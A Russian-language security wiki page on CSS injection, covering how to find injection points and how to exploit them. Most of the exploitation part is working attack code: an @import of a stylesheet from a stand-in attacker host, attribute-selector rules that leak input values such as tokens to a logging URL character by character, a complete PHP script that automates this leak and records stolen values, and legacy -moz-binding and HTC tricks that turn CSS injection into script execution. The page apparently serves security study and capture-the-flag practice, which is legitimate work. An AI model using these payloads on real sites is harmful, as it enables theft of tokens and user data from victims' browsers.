Cssi

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск

CSS Injection - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.

Поиск уязвимости

Загрузка из JS

HTML код страницы может редактироваться в зависимости от действий пользователя.

Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:

1 document.getElementById("...").style.cssText = "color: " + location.hash.slice(1);

То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.

Загрузка из backend'а

Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.

Например:

1  <span style="color: <?php echo $_GET['color']; ?>">

В данном случае изучение очень похоже на поиск XSS.

Эксплуатация

Работает не во всех браузерах.

Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):

1 <style>
2 @import "http://hackersite.org/exploit.css"; 
3 </style>

Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).

URL Follow

Заставить браузер жертвы отправить GET запрос на нужный URL не перезагружая страницу.

1 { background-image:url(<ссылка>); }

Получение токенов

Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.


Firefox

В данном случае идет перебор параметра value поля input:

 1 input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
 2 input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
 3 input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
 4 ...
 5 input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
 6 ...
 7 input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
 8 input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); }
 9 input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
10 ...
11 input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
12 ...

И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.

Можно перебирать по одной букве.

Chrome

Автоматизация

 1 <?php
 2 
 3 /* Использование
 4 
 5 http://site/cssinj.php?form=input&
 6                       param=value&
 7                       siteid=1337&
 8                       alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
 9                       word=fla
10 
11 */
12 
13 $alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
14 $word = '';
15 $siteid = '1';
16 
17 if (isset($_GET['siteid'])){
18 	$siteid = $_GET['siteid'];
19 }
20 
21 //Если атака прошла успешно
22 if (isset($_GET['value'])){
23 	file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
24 	exit();
25 }
26 
27 
28 function url(){
29 		return explode("?",sprintf(
30 			"%s://%s%s",
31 			isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
32 			$_SERVER['SERVER_NAME'],
33 			$_SERVER['REQUEST_URI']
34 		))[0];
35 }
36 
37 
38 if (isset($_GET['alph'])){
39 	$alph = $_GET['alph'];
40 }
41 
42 if (isset($_GET['word'])){
43 	$word = $_GET['word'];
44 }
45 
46 
47 
48 $alph_chars = str_split($alph);
49 
50 foreach ($alph_chars as &$value) {
51 	               echo $_GET['form'] . 
52 	                              '[' . 
53 	                   $_GET['param'] . 
54 	                             '^=' . 
55                                 $word .
56 	                           $value . 
57            ']{ background-image:url(' . 
58 	                            url() . 
59 	                      '?site_id=' . 
60 	                          $siteid . 
61 	                        '&value=' . 
62 	                urlencode($value) . 
63 	                "); }\n";
64 }
65 
66 ?>

CSS inj -> XSS

Firefox

Официальная страница Firefox

Пример

В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding.

Пример:

Файл test.html:

 1 <html>
 2 <head>
 3     <style>
 4         #bindingTest {
 5             -moz-binding : url("somexbl.xml#alert-it");
 6         }
 7     </style>
 8 </head>
 9 <body>
10     Move your mouse over <b id="bindingTest">this text</b>.
11 </body>
12 </head>
13 </html>

Файл somexbl.xml:

 1 <?xml version="1.0" encoding="utf-8"?>
 2 <bindings xmlns="http://www.mozilla.org/xbl">
 3     <binding id="alert-it">
 4         <content>
 5             <children />
 6         </content>
 7         <handlers>
 8             <handler event="mouseover" action="alert('XSS');"/>
 9         </handlers>
10     </binding>
11 </bindings>

Chrome

Internet Explorer

Файл test.html:

 1 <html>
 2 <head>
 3     <style>
 4         #Test {
 5             behavior:url(script.htc);
 6         }
 7     </style>
 8 </head>
 9 <body>
10     Move your mouse over <b id="Test">this text</b>.
11 </body>
12 </head>
13 </html>

Файл script.htc:

1 <PUBLIC:COMPONENT TAGNAME="xss">
2    <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
3 </PUBLIC:COMPONENT>
4 <SCRIPT>
5    function main() 
6    {
7      alert("HTC script executed.");
8    }
9 </SCRIPT>

Примеры

WhiteHat Contest 11 Ultimate Design Tool – web100

Cat Chat – Google CTF 2018

Полезные ссылки

OWASP

raz0r post

Заметка: добавить про чтение токенов и PRSSI